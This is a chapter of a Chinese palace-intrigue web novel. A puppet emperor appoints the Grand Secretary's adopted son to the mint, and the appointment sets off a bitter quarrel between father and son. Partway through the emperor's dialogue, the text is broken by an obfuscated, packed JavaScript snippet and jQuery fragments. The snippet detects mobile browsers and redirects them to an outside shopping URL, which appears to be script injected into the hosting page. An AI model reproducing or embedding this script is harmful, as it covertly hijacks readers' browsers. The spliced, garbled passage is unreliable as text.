20. 挑拨是非

作品:《傀儡皇帝要谋逆

    覃霖从醉生楼带着姬禾离开后,安顿好姬禾便回了自己的家。此时,雾气越来越淡薄,灰蓝色的天空也渐渐明亮起来。


    然而,没等覃霖进门,王公公便已经站在他家门外等待他,覃霖脚步一顿,原本就不多好看的脸色越来越黑。


    “覃公子一早出门,让老奴好等!”王公公稍稍下了两级台阶。


    覃霖一副怨气极深的抬头,“王公公到此,所为何事!”


    王公公浅笑,“老奴自然是为了皇上的旨意而来!”


    王公公仔细瞧了瞧,“哟,覃公子这是一夜未归吗,这俩大黑眼圈……”


    “旨意”覃霖疑惑,并没有接他的话,“皇上能对我下什么旨意。”


    王公公继续下了两级台阶走到了覃霖的身边,仰视道,“皇上谕旨,请覃公子过去一趟。”


    “皇上叫我过去?”覃霖难以置信的确认道。


    “就是覃公子您”


    覃霖低头思考了一下,“皇上有说什么事吗?”


    “哎呦覃公子,奴才怎么敢揣测圣意呢?”王公公顿了顿,“赶紧的吧,皇上可还等着呢!”


    说完,一辆马车便停在了两人面前,覃霖一脸懵的跟着王公公上了马车!


    *勤政殿


    赵玄晔坐在大殿中央,指尖轻轻敲打着眉心,身体倚靠在椅背上。


    覃霖从门外走来,躬身,“臣,覃霖见过皇上。”


    赵玄晔半睁着眼睛看着殿下。


    “覃霖你是覃首辅的义子,也是覃家众多孩子中最有能力的,所以朕想下一道旨意,让你去分管铸币局。”


    覃霖猛地一抬头,脸上又喜又惊,“皇上,此等大事为何交于我去办!”


    赵玄晔微微蹙眉,“最近户部给朕连上了三道折子,全都是民间铜币不足,会影响商贸流通,影响赋税征收,还会滋生打量劣质私铸钱的现象。可眼下,铸币局人手欠缺,朕已经没有人才可用了,而你,朕深知你贤能可塑,只是苦于没有机会,现在机会来了,你可要把握!”


    赵玄晔看了看在殿下低着头思索的覃霖继续道,“铸币局掌控全国钱币铸造,关系到货币稳定和国库充盈,若你能做好,覃首辅必定认可你的才能,等将来覃首辅请老了,你也能及时补上,朕也放心。”


    覃霖微微眨了眨眼,浅笑道“臣定不负所托!”


    赵玄晔猛地起身,“好,朕等的就是你这句话!”


    说完,便将龙案上事先备好的圣旨递给了覃霖,覃霖上前接过圣旨,笑着躬身,“谢皇上!”


    随后,覃霖便带着圣旨离开了皇宫。直到晚上才回到家,遇到了在自己家等候多时的覃仲。


    覃霖一身酒气的进入厅堂,覃仲坐在厅堂的主位上一言不发。


    覃霖看了他一眼,就准备朝后院的卧房走去。


    “等等……”


    覃仲面色一沉,语气微带怒气,“过来坐下。”


    覃霖微扶着门框,走进屋内,“义父有什么事可以直接派人通传一声,不必亲自过来。”


    覃仲无奈的看了他一眼,“我不来,你就打算明日去铸币局了是吗?”


    覃霖脚步虚浮的踉跄了两下,“义父消息就是灵通,这么快便知道了。”


    说着,便招呼下人将圣旨拿过来,置于覃仲面前。


    “看看吧义父!”


    覃仲接过圣旨,将两侧的盖子打开抽出黄色绸缎,眉头紧锁的盯着圣旨上的字。


    “你接了这圣旨?”


    覃霖瘫坐在椅子上,憨笑道:“是”


    覃仲一把将圣旨甩在了覃霖的身上,猛地起身,“你是疯了吗?”


    “义父,我没疯,我好的很!”


    覃仲气不打一出来,索性背过身去,深吸一口气,“你知不知道铸币局是什么地方?”


    覃霖哼笑,“我当然知道,铸币局掌控全国钱币铸造,关系到货币稳定和国库充盈,至关重要。”


    “你倒是清楚得很”覃仲顿了顿继续道:“那你知不知道,铸币局牵扯户部、工部、地方钱庄乃至藩王的利益,稍有失误就会引发“私铸钱币”“扰乱金融”的大罪。”


    “我当然知道”覃霖高喊,“机遇当然伴随着风险,规避就是了!”


    “规避,那要是皇帝挖好了坑等你跳呢,你怎么规避?”


    “我看你就不想让我有所作为!”覃霖起身,“从小到大,每次我想做有所作为的时候你都不同意,你在顾及什么,还是说你怕我分了你的权?”


    “你胡闹!”覃仲指着他的鼻子大声斥责道。


    “我胡闹,我确实胡闹,我做什么都胡闹,谁不知道你覃首辅的儿子是个整天只知道吃喝玩乐游戏人间的纨绔。”


    覃仲轻叹一口气“我不与你争辩,明日我会向皇上请柬,让你去户部屯田清吏司,分管皇庄账目。”


    覃霖别过脸,语气决绝,“这铸币局,我去定了!”


    说完,覃仲也没在接话,甩了甩衣袖直接离开了。


    *


    第二天,覃霖一大早便带着圣旨来到了铸币局,然而刚一进门,便被铸币局的主事拦住了。


    “覃公子,我是铸币局掌事钱玉林,覃首辅让我在这等您。”


    钱玉林身着官袍,笑盈盈的看着覃霖。


    “我爹让你等我,他想干什么?”覃霖试探一问。


    “是这样的,覃首辅料到今日覃公子会来铸币局上任,所以让我来堵你!”


    “堵我”覃霖冷哼一声,随即拿出圣旨。


    然而,钱玉林看都没看,继续道“即便是有圣旨,可如今这朝局,谁做住,我还是分的清的,覃首辅既然亲自来找我,必定是不想让公子进这铸币局,我怎么敢放公子进去呢?”


    “你……”


    与此同时的覃仲已经站在勤政殿内与赵玄晔对峙了。


    “皇上,您想干什么直说便是!”


    赵玄晔拧着食指上的扳指,浅笑“朕并没有打算做什么,朕只是觉得覃霖是个可用之才,不想我朝埋没人才而已,难道覃首辅不这样认为吗?”


    覃仲撇了撇脸,“我不想跟皇上胡扯,霖儿他不是做官的料,他还太年轻。”


    “年轻?”


    赵玄晔脸色一沉,“朕被你辅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054912|194717||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    佐登上这皇位时也不过十岁,那时你怎不嫌朕年轻?”


    “皇上是天子,这是你的责任,臣辅佐皇上难道还有错吗?”覃仲道。


    赵玄晔冷笑一声,“这么多年了,覃首辅还没演够呢?我母亲只是一个才人,她当年怎么死的你我都清楚,你拼命将我纳入太后膝下扶养,为的是什么,也不用朕多说了吧覃首辅!”


    “所以呢,所以皇上现在是要打算怪罪我吗?”覃仲淡定道。


    “不,朕很感谢覃首辅在众多皇子里选择朕,登上这皇位后,朕不需要费一点头脑就能将这江山治理的井井有条,这可全都归功于首辅您,所以,您的儿子也必定向您一样优秀才对。”


    赵玄晔微声细语的说着,连笑都是浅浅的,可他的眼底却藏着几乎压制到极致的疯感。


    “皇上最好真能这么想!”覃仲摇头笑了笑。


    “那是自然”


    “可臣还是不能让霖儿进这铸币局,还望皇上收回成命。”覃仲语气坚定,不容一丝置疑。


    赵玄晔扬了扬头,轻呼一口气,“既然覃首辅都这么说了,爱子情深,朕也不好薄了首辅的情面,不去就不去吧!”


    “皇上圣明”覃仲站起,躬了躬身。


    “那皇上若是没别的事情,那老臣就先告退了!”


    说着,覃仲便殿外走去。


    赵玄晔背对着覃仲,撇了他一眼,忍不住勾唇一笑。


    *


    覃霖耷拉着脑袋走在出宫的路上,远远瞧见了覃仲道马车,顿时脸色铁青,他快步走上前去,拦住马车,马儿受惊,嘶吼一声,迁马的奴才赶忙拉住马绳。


    “覃公子,小心啊”迁马的奴才赶忙说道。


    马车内的覃仲眯着眼睛休息,听到覃霖的名字,缓缓睁眼,“让他上来”


    片刻后,覃霖便坐上了马车,眼底一片愤愤。


    “义父进宫这是做什么?”


    “见皇上”


    覃霖额头青筋暴起,“你果真向皇上请示了?”


    覃仲白了他一眼,“是”


    覃霖咬着后槽牙,“你怎么能这样,这是我的事,你为何处处阻挠!”


    “你的事,你的事难道不是我的事吗?”


    此话一出,覃霖嗤笑一声,“是,我的事全是义父的事,我的女人也是义父的呗!”


    覃仲面色狰狞,大吼一声,“你下车,我没有你这样的儿子!”


    瞬间,马车停在原地,车厢内一片死寂。


    覃霖绷着脸,攥着拳头,“好,您没有我这样的儿子,我也没有你这样的父亲!”


    随后,覃霖直接跳下了马车,在马车边啐了一口,便扬长而去。


    马车内的覃仲紧闭双眼,气的脖子通红,心里憋着一股气。


    离开后的覃霖一头钻进了醉生楼,一下子点了五个姑娘和数不尽的酒,醉生楼的店小二再一次接待了他,还贴心的帮他开好了雅间。


    被怨气冲昏头脑的覃霖没注意哪里不对,便直接走进来顾清也为他准备好的陷阱。


    顾清也料到他会来这醉生楼买醉,于是早早的便在这蹲点。